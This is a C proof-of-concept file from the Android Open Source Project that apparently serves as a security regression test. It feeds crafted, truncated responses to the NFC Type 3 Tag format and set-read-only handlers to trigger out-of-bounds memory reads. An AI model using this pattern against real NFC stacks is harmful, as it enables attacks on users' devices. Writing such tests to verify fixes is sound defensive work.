1 /*
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <stdlib.h>
18 #include <string.h>
19 #include <nfc_int.h>
20 #include <nfc_api.h>
21 #include <tags_defs.h>
22 #include <rw_int.h>
23
24 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
25
26 extern tRW_CB rw_cb;
27 extern tNFC_CB nfc_cb;
28 tNFC_CONN *p_data;
29 void rw_init(void);
30 tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
31 uint8_t mrti_check, uint8_t mrti_update);
32
allocate_memory(size_t size)33 void *allocate_memory(size_t size) {
34 void *ptr = malloc(size);
35 memset(ptr, 0x0, size);
36 return ptr;
37 }
38
39 /* States */
40 enum {
41 RW_T3T_STATE_NOT_ACTIVATED,
42 RW_T3T_STATE_IDLE,
43 RW_T3T_STATE_COMMAND_PENDING
44 };
45
46 /* Enumeration of API commands */
47 enum {
48 RW_T3T_CMD_DETECT_NDEF,
49 RW_T3T_CMD_CHECK_NDEF,
50 RW_T3T_CMD_UPDATE_NDEF,
51 RW_T3T_CMD_CHECK,
52 RW_T3T_CMD_UPDATE,
53 RW_T3T_CMD_SEND_RAW_FRAME,
54 RW_T3T_CMD_GET_SYSTEM_CODES,
55 RW_T3T_CMD_FORMAT,
56 RW_T3T_CMD_SET_READ_ONLY_SOFT,
57 RW_T3T_CMD_SET_READ_ONLY_HARD,
58 RW_T3T_CMD_MAX
59 };
60
61 /* Sub-states */
62 enum {
63 /* Sub states for formatting Felica-Lite */
64 RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
65 formatting) */
66 RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
67 block-read to complete */
68 RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
69 block-write to complete */
70 RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
71 to complete */
72
73 /* Sub states for setting Felica-Lite read only */
74 RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
75 setting read only) */
76 RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
77 to complete */
78 RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
79 block-read to complete */
80 RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
81 block-write to complete */
82 };
83
poc_cback(tRW_EVENT event,tRW_DATA * p_rw_data)84 void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
85 (void)event;
86 (void)p_rw_data;
87 }
88
GKI_start_timer(uint8_t,int32_t,bool)89 void GKI_start_timer(uint8_t, int32_t, bool) {
90 }
91
GKI_stop_timer(uint8_t)92 void GKI_stop_timer(uint8_t) {
93 }
94
GKI_freebuf(void *)95 void GKI_freebuf(void*) {
96 }
97
trigger_OOB_via_rw_t3t_act_handle_fmt_rsp()98 int trigger_OOB_via_rw_t3t_act_handle_fmt_rsp(){
99 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
100
101 GKI_init();
102 rw_init();
103 rw_cb.p_cback = &poc_cback;
104
105 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
106 uint8_t mrti_check = 1, mrti_update = 1;
107 if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
108 return EXIT_FAILURE;
109 }
110
111 p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
112 if (!p_data) {
113 return EXIT_FAILURE;
114 }
115 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
116 if (!(p_data->data.p_data)) {
117 free(p_data);
118 return EXIT_FAILURE;
119 }
120 p_data->status = NFC_STATUS_OK;
121
122 p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
123 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
124 p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
125
126 NFC_HDR* p_msg = (p_data->data).p_data;
127 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
128
129 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
130 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
131 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
132
133 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
134 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = !T3T_MSG_FELICALITE_MC_OFFSET;
135
136 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
137 tNFC_CONN_EVT event = NFC_DATA_CEVT;
138 memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
139 NCI_NFCID2_LEN);
140 p_cb->p_cback(0, event, p_data);
141 free(p_data->data.p_data);
142 free(p_data);
143 return EXIT_SUCCESS;
144 }
145
trigger_OOB_via_rw_t3t_act_handle_sro_rsp()146 int trigger_OOB_via_rw_t3t_act_handle_sro_rsp(){
147 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
148
149 GKI_init();
150 rw_init();
151 rw_cb.p_cback = &poc_cback;
152
153 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
154 uint8_t mrti_check = 1, mrti_update = 1;
155 if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
156 return EXIT_FAILURE;
157 }
158
159 tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
160 if (!p_data) {
161 return EXIT_FAILURE;
162 }
163 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
164 if (!(p_data->data.p_data)) {
165 free(p_data);
166 return EXIT_FAILURE;
167 }
168 p_data->status = NFC_STATUS_OK;
169
170 p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
171 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
172 p_t3t->rw_substate = RW_T3T_SRO_SST_CHECK_MC_BLK;
173
174 NFC_HDR* p_msg = (p_data->data).p_data;
175 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
176
177 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
178 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
179 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
180
181 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
182 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = T3T_MSG_FELICALITE_MC_OFFSET;
183
184 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
185 tNFC_CONN_EVT event = NFC_DATA_CEVT;
186
187 p_cb->p_cback(0, event, p_data);
188 free(p_data->data.p_data);
189 free(p_data);
190 return EXIT_SUCCESS;
191 }
192
main()193 int main() {
194 int ret = trigger_OOB_via_rw_t3t_act_handle_fmt_rsp();
195 ret |= trigger_OOB_via_rw_t3t_act_handle_sro_rsp();
196 return ret;
197 }
198